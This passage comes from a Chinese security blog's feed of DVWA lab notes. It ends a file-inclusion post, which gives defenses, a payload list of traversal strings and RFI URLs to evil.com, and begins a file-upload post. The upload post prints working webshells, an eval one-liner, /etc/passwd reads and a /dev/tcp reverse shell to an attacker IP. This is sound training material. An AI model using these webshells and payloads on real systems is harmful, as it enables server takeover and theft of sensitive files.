class="variable">$base_dir</span>) !== <span class="number">0</span>) &#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&#x27;Access denied&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">include</span>(<span class="variable">$file</span>);</span><br></pre></td></tr></table></figure><h4 id="5-使用Switch语句"><a href="#5-使用Switch语句" class="headerlink" title="5. 使用Switch语句"></a>5. 使用Switch语句</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 根据参数选择包含的文件</span></span><br><span class="line"><span class="keyword">switch</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;page&#x27;</span>]) &#123;</span><br><span class="line">    <span class="keyword">case</span> <span class="string">&#x27;home&#x27;</span>:</span><br><span class="line">        <span class="keyword">include</span>(<span class="string">&#x27;home.php&#x27;</span>);</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="string">&#x27;about&#x27;</span>:</span><br><span class="line">        <span class="keyword">include</span>(<span class="string">&#x27;about.php&#x27;</span>);</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="string">&#x27;contact&#x27;</span>:</span><br><span class="line">        <span class="keyword">include</span>(<span class="string">&#x27;contact.php&#x27;</span>);</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">default</span>:</span><br><span class="line">        <span class="keyword">include</span>(<span class="string">&#x27;404.php&#x27;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="系统层面"><a href="#系统层面" class="headerlink" title="系统层面"></a>系统层面</h3><ol><li><p><strong>最小权限</strong></p><ul><li>Web进程使用低权限用户（www-data）</li><li>限制可读文件</li></ul></li><li><p><strong>禁用危险函数</strong></p><figure class="highlight ini"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">; php.ini</span></span><br><span class="line"><span class="attr">disable_functions</span> = system,exec,passthru,shell_exec,proc_open,popen</span><br></pre></td></tr></table></figure></li><li><p><strong>开启open_basedir</strong></p><figure class="highlight ini"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">; 限制PHP访问的目录</span></span><br><span class="line"><span class="attr">open_basedir</span> = /var/www/html/</span><br></pre></td></tr></table></figure></li></ol><h3 id="监控层面"><a href="#监控层面" class="headerlink" title="监控层面"></a>监控层面</h3><ol><li><p><strong>日志监控</strong></p><ul><li>记录所有include&#x2F;require操作</li><li>检测..&#x2F;模式</li></ul></li><li><p><strong>WAF规则</strong></p><ul><li>检测..&#x2F;模式</li><li>检测php:&#x2F;&#x2F;、data:&#x2F;&#x2F;等伪协议</li><li>检测&#x2F;etc&#x2F;passwd等敏感文件</li></ul></li></ol><hr><h2 id="总结对比"><a href="#总结对比" class="headerlink" title="总结对比"></a>总结对比</h2><table><thead><tr><th>特性</th><th>Low</th><th>Medium</th><th>High</th><th>Impossible</th></tr></thead><tbody><tr><td>输入验证</td><td>❌</td><td>str_replace</td><td>fnmatch</td><td>白名单</td></tr><tr><td>过滤内容</td><td>无</td><td>http:&#x2F;&#x2F;, https:&#x2F;&#x2F;</td><td>无（只检查格式）</td><td>N&#x2F;A</td></tr><tr><td>目录遍历</td><td>✓ 可行</td><td>✓ 可行</td><td>✓ 可行</td><td>✗ 不可行</td></tr><tr><td>RFI</td><td>✓ 可行</td><td>✓ 可绕过</td><td>✓ 可行</td><td>✗ 不可行</td></tr><tr><td>PHP伪协议</td><td>✓ 可行</td><td>✓ 可行</td><td>✓ 可行</td><td>✗ 不可行</td></tr><tr><td>攻击难度</td><td>极易</td><td>简单</td><td>简单</td><td>不可能</td></tr></tbody></table><hr><h2 id="常用Payload集合"><a href="#常用Payload集合" class="headerlink" title="常用Payload集合"></a>常用Payload集合</h2><h3 id="LFI（本地文件包含）"><a href="#LFI（本地文件包含）" class="headerlink" title="LFI（本地文件包含）"></a>LFI（本地文件包含）</h3><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">&lt;!-- 目录遍历 --&gt;</span><br><span class="line">..<span class="regexp">/../</span>..<span class="regexp">/etc/</span>passwd</span><br><span class="line">..<span class="regexp">/../</span>..<span class="regexp">/../</span>etc/passwd</span><br><span class="line">..<span class="regexp">/../</span>..<span class="regexp">/../</span>..<span class="regexp">/../</span>etc/passwd</span><br><span class="line"></span><br><span class="line">&lt;!-- Windows --&gt;</span><br><span class="line">..<span class="regexp">/../</span>..<span class="regexp">/windows/</span>win.ini</span><br><span class="line">C:\\Windows\\System32\\drivers\\etc\\hosts</span><br><span class="line"></span><br><span class="line">&lt;!-- 敏感文件 --&gt;</span><br><span class="line">..<span class="regexp">/../</span>..<span class="regexp">/etc/</span>shadow</span><br><span class="line">..<span class="regexp">/../</span>..<span class="regexp">/etc/my</span>.cnf</span><br><span class="line">..<span class="regexp">/../</span>config/config.inc.php</span><br><span class="line">..<span class="regexp">/../</span>..<span class="regexp">/var/</span>log<span class="regexp">/apache2/</span>access.log</span><br></pre></td></tr></table></figure><h3 id="RFI（远程文件包含）"><a href="#RFI（远程文件包含）" class="headerlink" title="RFI（远程文件包含）"></a>RFI（远程文件包含）</h3><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">http:<span class="regexp">//</span>evil.com/shell.php</span><br><span class="line">https:<span class="regexp">//</span>evil.com/shell.txt</span><br><span class="line">ftp:<span class="regexp">//</span>evil.com/shell.php</span><br></pre></td></tr></table></figure><h3 id="PHP伪协议"><a href="#PHP伪协议" class="headerlink" title="PHP伪协议"></a>PHP伪协议</h3><figure class="highlight php-template"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="language-xml"><span class="comment">&lt;!-- php://filter --&gt;</span></span></span><br><span class="line"><span class="language-xml">php://filter/convert.base64-encode/resource=index.php</span></span><br><span class="line"><span class="language-xml">php://filter/read=string.rot13/resource=index.php</span></span><br><span class="line"><span class="language-xml"></span></span><br><span class="line"><span class="language-xml"><span class="comment">&lt;!-- php://input --&gt;</span></span></span><br><span class="line"><span class="language-xml">php://input  (需要POST数据)</span></span><br><span class="line"><span class="language-xml"></span></span><br><span class="line"><span class="language-xml"><span class="comment">&lt;!-- data:// --&gt;</span></span></span><br><span class="line"><span class="language-xml">data://text/plain,</span><span class="language-php"><span class="meta">&lt;?php</span> <span class="title function_ invoke__">system</span>(<span class="string">&#x27;whoami&#x27;</span>); <span class="meta">?&gt;</span></span><span class="language-xml"></span></span><br><span class="line"><span class="language-xml">data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTsgPz4=</span></span><br><span class="line"><span class="language-xml"></span></span><br><span class="line"><span class="language-xml"><span class="comment">&lt;!-- expect:// --&gt;</span></span></span><br><span class="line"><span class="language-xml">expect://whoami</span></span><br></pre></td></tr></table></figure><h3 id="NULL字节绕过（PHP-lt-5-3-4）"><a href="#NULL字节绕过（PHP-lt-5-3-4）" class="headerlink" title="NULL字节绕过（PHP &lt; 5.3.4）"></a>NULL字节绕过（PHP &lt; 5.3.4）</h3><figure class="highlight gradle"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">file</span>.php%<span class="number">00</span></span><br><span class="line">..<span class="regexp">/../</span>..<span class="regexp">/etc/</span>passwd%<span class="number">00</span></span><br></pre></td></tr></table></figure><hr><h2 id="实战建议"><a href="#实战建议" class="headerlink" title="实战建议"></a>实战建议</h2><p><strong>学习路径：</strong></p><ol><li><strong>Low难度</strong> - 理解LFI和RFI原理</li><li><strong>Medium难度</strong> - 学习绕过str_replace</li><li><strong>High难度</strong> - 理解fnmatch绕过</li><li><strong>Impossible难度</strong> - 掌握白名单防御</li></ol><p><strong>攻击技巧：</strong></p><ul><li>从..&#x2F;开始，逐步增加层级</li><li>尝试各种PHP伪协议</li><li>结合日志注入</li><li>结合文件上传</li></ul><p><strong>工具推荐：</strong></p><ul><li>Burp Suite - 请求修改</li><li>LFISuite - 自动化LFI利用</li><li>Kadimus - LFI&#x2F;RFI扫描</li></ul><p><strong>道德准则：</strong></p><ul><li>只在授权环境测试</li><li>不读取真实系统敏感文件</li><li>学习是为了防御，不是攻击</li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;&quot;&gt;&lt;a href=&quot;#&quot; class=&quot;headerlink&quot; title=&quot;&quot;&gt;&lt;/a&gt;&lt;/h1&gt;&lt;h2 id=&quot;目录&quot;&gt;&lt;a href=&quot;#目录&quot; class=&quot;headerlink&quot; title=&quot;目录&quot;&gt;&lt;/a&gt;目录&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;a hr</summary>
      
    
    
    
    <category term="dvwa靶场学习笔记" scheme="http://caixuya.github.io/categories/dvwa%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    
    
  </entry>
  
  <entry>
    <title>DVWA - File Upload (文件上传) 攻防练习详解</title>
    <link href="http://caixuya.github.io/2025/11/20/File_Upload_%E6%94%BB%E9%98%B2%E7%BB%83%E4%B9%A0/"/>
    <id>http://caixuya.github.io/2025/11/20/File_Upload_%E6%94%BB%E9%98%B2%E7%BB%83%E4%B9%A0/</id>
    <published>2025-11-20T15:31:37.109Z</published>
    <updated>2025-11-20T15:27:58.042Z</updated>
    
    <content type="html"><![CDATA[<h1 id=""><a href="#" class="headerlink" title=""></a></h1><h2 id="目录"><a href="#目录" class="headerlink" title="目录"></a>目录</h2><ul><li><a href="#%E6%BC%8F%E6%B4%9E%E7%AE%80%E4%BB%8B">漏洞简介</a></li><li><a href="#low-%E9%9A%BE%E5%BA%A6">Low 难度</a></li><li><a href="#medium-%E9%9A%BE%E5%BA%A6">Medium 难度</a></li><li><a href="#high-%E9%9A%BE%E5%BA%A6">High 难度</a></li><li><a href="#impossible-%E9%9A%BE%E5%BA%A6">Impossible 难度</a></li><li><a href="#%E9%98%B2%E5%BE%A1%E5%BB%BA%E8%AE%AE">防御建议</a></li></ul><hr><h2 id="漏洞简介"><a href="#漏洞简介" class="headerlink" title="漏洞简介"></a>漏洞简介</h2><h3 id="什么是文件上传漏洞（File-Upload-Vulnerability）？"><a href="#什么是文件上传漏洞（File-Upload-Vulnerability）？" class="headerlink" title="什么是文件上传漏洞（File Upload Vulnerability）？"></a>什么是文件上传漏洞（File Upload Vulnerability）？</h3><p>文件上传漏洞是指Web应用程序没有对上传的文件进行严格验证，允许攻击者上传恶意文件并执行。</p><p><strong>危害：</strong></p><ul><li>上传WebShell获取服务器控制权</li><li>上传病毒木马</li><li>覆盖重要文件</li><li>造成拒绝服务（上传大文件）</li><li>钓鱼攻击（上传假页面）</li><li>XSS攻击（上传HTML文件）</li></ul><p><strong>攻击流程：</strong></p><ol><li>上传恶意PHP文件（WebShell）</li><li>访问上传的文件</li><li>执行任意系统命令</li><li>完全控制服务器</li></ol><p><strong>常见场景：</strong></p><ul><li>头像上传</li><li>文档上传</li><li>图片上传</li><li>附件上传</li></ul><hr><h2 id="Low-难度"><a href="#Low-难度" class="headerlink" title="Low 难度"></a>Low 难度</h2><h3 id="攻击目标"><a href="#攻击目标" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>无任何验证的文件上传，直接获取WebShell。</p><h3 id="后端代码分析"><a href="#后端代码分析" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 检查是否提交了上传表单</span></span><br><span class="line"><span class="comment">// isset() - 检查变量是否存在</span></span><br><span class="line"><span class="comment">// $_POST[&#x27;Upload&#x27;] - 上传按钮</span></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_POST</span>[ <span class="string">&#x27;Upload&#x27;</span> ] ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 定义上传目录 ★★★</span></span><br><span class="line">    <span class="comment">// __DIR__ - 当前文件所在目录的绝对路径</span></span><br><span class="line">    <span class="comment">// DIRECTORY_SEPARATOR - 目录分隔符（Windows: \, Linux: /）</span></span><br><span class="line">    <span class="comment">// uploads/ - 上传文件存储目录</span></span><br><span class="line">    <span class="variable">$target_path</span>  = <span class="keyword">__DIR__</span> . DIRECTORY_SEPARATOR . <span class="string">&#x27;uploads/&#x27;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 危险操作：直接使用用户上传的文件名 ★★★</span></span><br><span class="line">    <span class="comment">// basename() - 返回路径中的文件名部分</span></span><br><span class="line">    <span class="comment">// $_FILES[&#x27;uploaded&#x27;][&#x27;name&#x27;] - 用户上传文件的原始文件名</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// 问题：</span></span><br><span class="line">    <span class="comment">// 1. 不检查文件扩展名（允许.php）</span></span><br><span class="line">    <span class="comment">// 2. 不检查文件内容</span></span><br><span class="line">    <span class="comment">// 3. 不检查MIME类型</span></span><br><span class="line">    <span class="comment">// 4. 不重命名文件</span></span><br><span class="line">    <span class="variable">$target_path</span> .= <span class="title function_ invoke__">basename</span>( <span class="variable">$_FILES</span>[ <span class="string">&#x27;uploaded&#x27;</span> ][ <span class="string">&#x27;name&#x27;</span> ] );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 直接移动上传的文件到目标目录 ★★★</span></span><br><span class="line">    <span class="comment">// move_uploaded_file() - 将上传的文件移动到新位置</span></span><br><span class="line">    <span class="comment">// 参数1：$_FILES[&#x27;uploaded&#x27;][&#x27;tmp_name&#x27;] - 临时文件路径</span></span><br><span class="line">    <span class="comment">// 参数2：目标路径</span></span><br><span class="line">    <span class="comment">// 返回值：成功返回true，失败返回false</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// $_FILES数组结构：</span></span><br><span class="line">    <span class="comment">// [&#x27;name&#x27;]     - 原始文件名</span></span><br><span class="line">    <span class="comment">// [&#x27;type&#x27;]     - MIME类型（客户端提供，不可信）</span></span><br><span class="line">    <span class="comment">// [&#x27;tmp_name&#x27;] - 服务器临时文件路径</span></span><br><span class="line">    <span class="comment">// [&#x27;error&#x27;]    - 错误代码</span></span><br><span class="line">    <span class="comment">// [&#x27;size&#x27;]     - 文件大小（字节）</span></span><br><span class="line">    <span class="keyword">if</span>( !<span class="title function_ invoke__">move_uploaded_file</span>( <span class="variable">$_FILES</span>[ <span class="string">&#x27;uploaded&#x27;</span> ][ <span class="string">&#x27;tmp_name&#x27;</span> ], <span class="variable">$target_path</span> ) ) &#123;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 上传失败</span></span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&#x27;&lt;pre&gt;Your image was not uploaded.&lt;/pre&gt;&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> &#123;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ 上传成功，显示文件路径 ★★★</span></span><br><span class="line">        <span class="comment">// 问题：直接显示路径，方便攻击者访问恶意文件</span></span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&quot;&lt;pre&gt;<span class="subst">&#123;$target_path&#125;</span> succesfully uploaded!&lt;/pre&gt;&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h3><p><strong>核心问题：</strong></p><ol><li><strong>无文件类型检查</strong> - 允许上传.php文件</li><li><strong>无文件内容检查</strong> - 不验证文件实际内容</li><li><strong>无MIME类型检查</strong> - 不检查Content-Type</li><li><strong>使用原始文件名</strong> - 不重命名文件</li><li><strong>暴露文件路径</strong> - 显示上传路径</li></ol><p><strong>攻击流程：</strong></p><figure class="highlight markdown"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="bullet">1.</span> 创建shell.php（WebShell）</span><br><span class="line"><span class="bullet">2.</span> 上传shell.php</span><br><span class="line"><span class="bullet">3.</span> 访问 uploads/shell.php</span><br><span class="line"><span class="bullet">4.</span> 执行系统命令</span><br><span class="line"><span class="bullet">5.</span> 完全控制服务器</span><br></pre></td></tr></table></figure><h3 id="攻击步骤"><a href="#攻击步骤" class="headerlink" title="攻击步骤"></a>攻击步骤</h3><h4 id="步骤1：创建简单WebShell"><a href="#步骤1：创建简单WebShell" class="headerlink" title="步骤1：创建简单WebShell"></a>步骤1：创建简单WebShell</h4><p><strong>最简单的WebShell（shell.php）：</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="comment">// 执行GET参数中的cmd命令</span></span><br><span class="line"><span class="comment">// system() - 执行系统命令并输出结果</span></span><br><span class="line"><span class="title function_ invoke__">system</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;cmd&#x27;</span>]);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p><strong>使用方法：</strong></p><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">http:<span class="regexp">//</span>dvwa.local<span class="regexp">/dvwa/</span>hackable<span class="regexp">/uploads/</span>shell.php?cmd=whoami</span><br><span class="line">http:<span class="regexp">//</span>dvwa.local<span class="regexp">/dvwa/</span>hackable<span class="regexp">/uploads/</span>shell.php?cmd=ls -la</span><br><span class="line">http:<span class="regexp">//</span>dvwa.local<span class="regexp">/dvwa/</span>hackable<span class="regexp">/uploads/</span>shell.php?cmd=cat <span class="regexp">/etc/</span>passwd</span><br></pre></td></tr></table></figure><h4 id="步骤2：创建功能完整的WebShell"><a href="#步骤2：创建功能完整的WebShell" class="headerlink" title="步骤2：创建功能完整的WebShell"></a>步骤2：创建功能完整的WebShell</h4><p><strong>一句话木马：</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span> @<span class="keyword">eval</span>(<span class="variable">$_POST</span>[<span class="string">&#x27;cmd&#x27;</span>]); <span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p><strong>使用中国菜刀、蚁剑等工具连接</strong></p><p><strong>完整WebShell（webshell.php）：</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="comment">// 功能完整的WebShell</span></span><br><span class="line"><span class="meta">?&gt;</span></span><br><span class="line">&lt;!DOCTYPE html&gt;</span><br><span class="line">&lt;html&gt;</span><br><span class="line">&lt;head&gt;</span><br><span class="line">    &lt;title&gt;WebShell&lt;/title&gt;</span><br><span class="line">&lt;/head&gt;</span><br><span class="line">&lt;body&gt;</span><br><span class="line">    &lt;h1&gt;WebShell&lt;/h1&gt;</span><br><span class="line"></span><br><span class="line">    &lt;h2&gt;System Information&lt;/h2&gt;</span><br><span class="line">    &lt;pre&gt;</span><br><span class="line">    OS: <span class="meta">&lt;?php</span> <span class="keyword">echo</span> PHP_OS; <span class="meta">?&gt;</span></span><br><span class="line">    PHP Version: <span class="meta">&lt;?php</span> <span class="keyword">echo</span> <span class="title function_ invoke__">phpversion</span>(); <span class="meta">?&gt;</span></span><br><span class="line">    Server: <span class="meta">&lt;?php</span> <span class="keyword">echo</span> <span class="variable">$_SERVER</span>[<span class="string">&#x27;SERVER_SOFTWARE&#x27;</span>]; <span class="meta">?&gt;</span></span><br><span class="line">    Document Root: <span class="meta">&lt;?php</span> <span class="keyword">echo</span> <span class="variable">$_SERVER</span>[<span class="string">&#x27;DOCUMENT_ROOT&#x27;</span>]; <span class="meta">?&gt;</span></span><br><span class="line">    Current User: <span class="meta">&lt;?php</span> <span class="keyword">echo</span> <span class="title function_ invoke__">get_current_user</span>(); <span class="meta">?&gt;</span></span><br><span class="line">    &lt;/pre&gt;</span><br><span class="line"></span><br><span class="line">    &lt;h2&gt;Command Execution&lt;/h2&gt;</span><br><span class="line">    &lt;form method=<span class="string">&quot;POST&quot;</span>&gt;</span><br><span class="line">        &lt;input type=<span class="string">&quot;text&quot;</span> name=<span class="string">&quot;cmd&quot;</span> placeholder=<span class="string">&quot;Enter command&quot;</span> style=<span class="string">&quot;width:500px;&quot;</span>&gt;</span><br><span class="line">        &lt;button type=<span class="string">&quot;submit&quot;</span>&gt;Execute&lt;/button&gt;</span><br><span class="line">    &lt;/form&gt;</span><br><span class="line"></span><br><span class="line">    <span class="meta">&lt;?php</span></span><br><span class="line">    <span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$_POST</span>[<span class="string">&#x27;cmd&#x27;</span>])) &#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&#x27;&lt;h3&gt;Output:&lt;/h3&gt;&#x27;</span>;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&#x27;&lt;pre&gt;&#x27;</span>;</span><br><span class="line">        <span class="title function_ invoke__">system</span>(<span class="variable">$_POST</span>[<span class="string">&#x27;cmd&#x27;</span>]);</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&#x27;&lt;/pre&gt;&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="meta">?&gt;</span></span><br><span class="line"></span><br><span class="line">    &lt;h2&gt;File Manager&lt;/h2&gt;</span><br><span class="line">    &lt;form method=<span class="string">&quot;POST&quot;</span>&gt;</span><br><span class="line">        &lt;input type=<span class="string">&quot;text&quot;</span> name=<span class="string">&quot;path&quot;</span> value=<span class="string">&quot;&lt;?php echo getcwd(); ?&gt;&quot;</span> style=<span class="string">&quot;width:500px;&quot;</span>&gt;</span><br><span class="line">        &lt;button type=<span class="string">&quot;submit&quot;</span> name=<span class="string">&quot;list&quot;</span>&gt;List&lt;/button&gt;</span><br><span class="line">    &lt;/form&gt;</span><br><span class="line"></span><br><span class="line">    <span class="meta">&lt;?php</span></span><br><span class="line">    <span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$_POST</span>[<span class="string">&#x27;list&#x27;</span>])) &#123;</span><br><span class="line">        <span class="variable">$path</span> = <span class="variable">$_POST</span>[<span class="string">&#x27;path&#x27;</span>];</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&#x27;&lt;pre&gt;&#x27;</span>;</span><br><span class="line">        <span class="variable">$files</span> = <span class="title function_ invoke__">scandir</span>(<span class="variable">$path</span>);</span><br><span class="line">        <span class="keyword">foreach</span>(<span class="variable">$files</span> <span class="keyword">as</span> <span class="variable">$file</span>) &#123;</span><br><span class="line">            <span class="keyword">echo</span> <span class="variable">$file</span> . <span class="string">&quot;\n&quot;</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&#x27;&lt;/pre&gt;&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="meta">?&gt;</span></span><br><span class="line">&lt;/body&gt;</span><br><span class="line">&lt;/html&gt;</span><br></pre></td></tr></table></figure><h4 id="步骤3：上传WebShell"><a href="#步骤3：上传WebShell" class="headerlink" title="步骤3：上传WebShell"></a>步骤3：上传WebShell</h4><ol><li>在DVWA的File Upload页面</li><li>选择shell.php文件</li><li>点击Upload</li><li>记录显示的文件路径</li></ol><h4 id="步骤4：访问WebShell"><a href="#步骤4：访问WebShell" class="headerlink" title="步骤4：访问WebShell"></a>步骤4：访问WebShell</h4><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http:<span class="regexp">//</span>dvwa.local<span class="regexp">/dvwa/</span>hackable<span class="regexp">/uploads/</span>shell.php?cmd=whoami</span><br></pre></td></tr></table></figure><h4 id="步骤5：执行系统命令"><a href="#步骤5：执行系统命令" class="headerlink" title="步骤5：执行系统命令"></a>步骤5：执行系统命令</h4><p><strong>查看当前目录：</strong></p><figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?<span class="keyword">cmd</span><span class="language-bash">=<span class="built_in">pwd</span></span></span><br></pre></td></tr></table></figure><p><strong>列出文件：</strong></p><figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?<span class="keyword">cmd</span><span class="language-bash">=<span class="built_in">ls</span> -la</span></span><br></pre></td></tr></table></figure><p><strong>读取敏感文件：</strong></p><figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">?<span class="keyword">cmd</span><span class="language-bash">=<span class="built_in">cat</span> /etc/passwd</span></span><br><span class="line">?<span class="keyword">cmd</span><span class="language-bash">=<span class="built_in">cat</span> ../../config/config.inc.php</span></span><br></pre></td></tr></table></figure><p><strong>反弹Shell：</strong></p><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">?cmd=bash -i &gt;&amp; <span class="regexp">/dev/</span>tcp<span class="regexp">/攻击者IP/</span><span class="number">4444</span> <span class="number">0</span>&gt;&amp;<span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 攻击者监听</span></span><br><span class="line">nc -lvp <span class="number">4444</span></span><br></pre></td></tr></table></figure><h4 id="步骤6：权限提升"><a href="#步骤6：权限提升" class="headerlink" title="步骤6：权限提升"></a>步骤6：权限提升</h4><p><strong>查找SUID文件：</strong></p><figure class="highlight arcade"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?cmd=<span class="built_in">find</span> / -perm <span class="number">-4000</span> <span class="number">2</span>&gt;<span class="regexp">/dev/</span><span 